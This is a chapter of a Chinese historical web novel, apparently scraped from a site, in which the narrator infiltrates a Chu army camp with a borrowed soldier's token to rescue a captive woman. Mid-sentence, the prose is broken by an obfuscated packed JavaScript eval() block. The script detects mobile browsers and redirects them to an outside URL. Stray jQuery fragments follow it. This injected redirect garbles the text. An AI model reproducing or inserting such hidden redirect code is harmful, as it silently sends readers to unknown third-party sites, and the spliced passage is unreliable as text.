回楚营,是我思量许久后才做下的决定。若换作从前,我的心中自然不会有丝毫犹豫——那里,本就是我最初要去往的地方。可如今,心里装下的,已不只是使命与去处,还有太多剪不断的牵绊与纷乱的人与事。想要将这一切彻底割舍、放下,终究要费上一番心神。
即便已经顺利出了城池,我仍忍不住在原地停下脚步。那一刻,遗憾、不舍、惋惜,以及对未知前路的惶恐,都一齐涌上心头。夜色漆黑,天地寂寥,我只觉前所未有的孤独。
秋风萧瑟,我独自骑在马背上,循着楚军撤退时留下的深深蹄印,沿路疾驰。风声如刃,冷意侵骨,而我却不敢有片刻迟疑。
每每回想起悺阳最后被带走的模样,心头的愧疚便更深一分。那样随性而骄傲的女子,见过天地辽阔、人心冷暖,如今却因情所困,受尽折辱,生死不明。
试问这世间情爱究竟为何物?竟能让一个如此聪慧的女子沉沦至此,甘愿舍弃自由与尊严,困于那一方牢笼之中。
悺阳,你是否曾有一瞬……为当初那奋不顾身的抉择,感到后悔?
寂静的长夜里,我的思绪反复挣扎在那些关于情爱的纠结之中。
我曾羡慕过悺阳,羡慕她那份在爱中偏执的孤勇。她明知不可为而为之,哪怕粉身碎骨,也无怨无悔。在我看来,那何尝不是另一种自由?她选择无论身处何种境地,都忠于自己内心的渴求。那是一种近乎飞蛾扑火的勇气,用全部的灵魂去追逐所爱。在这乱世之中,这样的纯粹,弥足珍贵。
反观我,却只能在情爱中清醒地沉沦。
我从未敢真正放下心防去爱,纵然偶有犹豫、想要袒露内心,可一想到那沉重的后果,心中便不免多出几分计较与退缩。
爱,终究只是一种感觉,无人能让它恒久不变。而我,也无力用未来的全部去做一场豪赌,只凭一时的迷恋,就将自己与另一个人的命运相系。
或许,我仍算是幸运的一个。在一切尚未开始之前,就被决绝地拒绝。对于一个自尊心极强的人而言,这份情,也就止于此处。纵然心中再痛,也不会再有回头的可能。
漫长的思绪整理间,我已渐渐离开了东阿地界,也脱出了秦军的监控范围。趁着天色尚黑,我策马穿入一片林中,从行囊里取出那套压箱许久的楚军服饰,重新换上。又将那枚本属于我的楚军军牌挂回腰间。
手中那套脱下的秦军衣甲,我看了又看,终究还是决定将它留在这片林里。
再次骑上马,奔出林时,竟生出一种莫名的如释重负之感,仿佛一切又回到了最初的模样。道路坎坷起伏,马蹄伴着铜铃清脆作响,韩信的身影却不受控地浮现在脑海。
忽然,肩上的旧伤一阵刺痛,令我险些失了缰绳,几乎坠马。回过神来,心底却升起一股微微的空虚。韩信那一箭虽误中我身,可他终究不知那人便是我。若他真知晓那些阴谋与陷阱皆出自我手,又该如何看我?又该如何原谅?
这一念转过,心底竟多了几分莫名的胆怯。明明此行的终点,正是去寻他,而如今想到重逢,心中却再也不似当初那般笃定。
罢了。此行还是救悺阳为先,至于其他的事,待日后再说吧。
楚军营地就驻扎在距东阿城外三十里处。我一路循着密集的军迹追踪而行,未绕半点弯路,便顺利找到了他们的驻地。
随着与楚军防线的距离渐近,我放缓了马速,绕进一片密林,悄然潜身其后,暗中观察营地动向。
白色军帐连绵成片,几乎占据了整整一块平原。印着“楚”字的旌旗在火光的映照下猎猎翻飞,宛若自火海中升起的战魂,震慑着四野。借着火光,我清楚地看见营中仍有大量士兵调度奔走。或许是因东阿之战受挫,整座营地都笼罩着一股紧绷的气息,甚至连夜色下的操练声都未曾停歇。
营门处,两个守卫笔直而立,每名入营的士兵都需出示军牌。虽只是例行查看,并未细查,但我心中仍没十足的把握。毕竟我消失已久,手中这枚军牌上记载的身份早该被注销,一旦被查细,反倒更惹人怀疑。
我暗暗吸了口气,将藏在行囊深处的暗器与药粉取出,藏进袖中。若真被揭穿,也只能先下手为强。
正当我准备出林一试时,肩头忽然被轻轻拍了一下。那一瞬间,浑身血液仿佛凝固,我几乎不敢呼吸。片刻后,才缓缓转过身去……
只见我眼前,站着一名身着楚军甲胄的年轻男子。他身形不高,却也五官端正,眉眼间带着几分面善。即便如此,我的背脊仍是一阵发麻。为了不让他看出异样,我极力维持镇定,疑惑地望向他。
那人忽朝我抱拳一礼,随即从怀中取出一块木牌。其形制与我腰间所佩几乎无异,只是上面的铭文却截然不同。木牌正面刻着篆字:“楚,沛公麾下,砀郡卒,爵:公士。”背面则刻有:“姓名:黑夫;籍贯:沛县东乡;符节号:甲叁廿七。”
男子语声平稳,道:“我家主上料定公子今夜必会至此,特命属下前来,将此牌赠与公子。有了它,公子便可无阻入楚营,行所欲为。”
我接过木牌,神色微怔,谨慎问道:“请问,你们的主上……是何人?”
男子只淡淡一笑,回道:“主上言,他与公子曾有一面之缘。公子或许已忘,然主上仍记得公子。”
“一面之缘……”我心头一沉,总觉得此事并非如此简单。难道我这一路的行踪与意图,竟早被人洞悉?可此人又会是谁?莫非是……魏国那位?
我不由得警惕地望向他,语气冷下几分:“这世上从无无缘之助。你家主上如此相助,意欲何为?”
“主上的心思,属下不敢妄言。”他语气谦和,复又恭敬一礼,道:“在下使命已完成,先
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610892|203055||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
行告辞。”
言罢,神色一敛,转身没入夜色之中,连衣角都未曾留下半点声息。
我拿着那块木牌,反复端详,未见异样,心中微定,便暗自下了决心——既然有人暗中相助,何不趁此良机,先救出悺阳再说。
四下无人,我悄然自暗处现身,顺着夜色朝楚营方向潜去。前方不远,有几个楚军士兵三三两两地自外归营,我遂不动声色地跟在他们身后,保持着不远不近的距离。
此时夜色愈深,天幕低垂,营中火把燃了一半,光影摇曳。想来已近就寝时分,巡守之人虽仍立于营门两侧,却难掩眼底的倦意。两名守将例行查验军牌,只是上下扫一眼,不到两息便放行。
轮到我时,一名守卫伸手淡淡道:“军牌。”
我心头一紧,忙从怀中取出木牌递上。他随意端详了几眼,指尖在刻着姓名的一面略一停顿,眉微蹙,疑声道:“你是……黑夫?”说罢抬眼打量了我一番。
我几乎能听见自己心跳的声音,连呼吸都凝住了。强自镇定,抬眸迎向他那探究的目光,语气沉稳道:“是。”
他又细看我一眼,忽然低低一笑,将木牌递还于我,淡声道:“进去吧。”
我接过军牌,仍有些恍惚,脑中一片空白,却不敢多问。心口那根悬了许久的弦终于微微松开,既惊且喜,倒比预想中还要顺利几分。
我朝那名守卫拱手一礼,轻声道:“多谢。”
说罢,便收起木牌,踏着夜色,带着几分轻快与忐忑的步伐,走进了楚营。
营中火光虽暗,却仍有不少巡逻的士兵穿梭其间。我故作镇定,混在人群后头,借着他们的掩护朝营地深处行去。凭着以往在军中的经验,我对楚营的布局尚算熟悉,虽地势辽阔,却以简驭繁,只要细心辨路,便能寻得关押战俘的方向。
我尾随着几波零散归营的将士,每当迎面遇到巡逻队伍,便刻意放慢脚步,躲在人影之中,避开火光的直照。如此辗转良久,终于抵达了一处偏僻无人的角落——这里没有火光,也鲜少人迹,夜色将一切吞没,只余风声猎猎,吹得寒意透骨。
那片阴影里,伫立着两顶破旧不堪的军帐。布面早已残破,边缘被风一吹便发出“吱呀呀”的声响,仿佛随时都会倾塌。帐外横放着一个半人高的木笼,木条斑驳,上面暗红的痕迹在夜色里愈发触目,血腥味淡淡弥散开来。
我凝视着那木笼,心头隐隐发紧。看形制,似是囚困野兽之物,可若真是如此,又为何置于军营之中?
见四下无人,我屏息上前几步,正打算进帐查看。谁料才靠近几丈,那帐内忽有人影晃动,紧接着,帘幕掀开,一人自内缓步而出。
他逆着昏暗的火光向我走来,步伐沉稳,带着一股压迫感。待他脸庞一点点浮出黑暗,我的心骤然一紧,几乎不敢置信地低呼出声:“古阆?”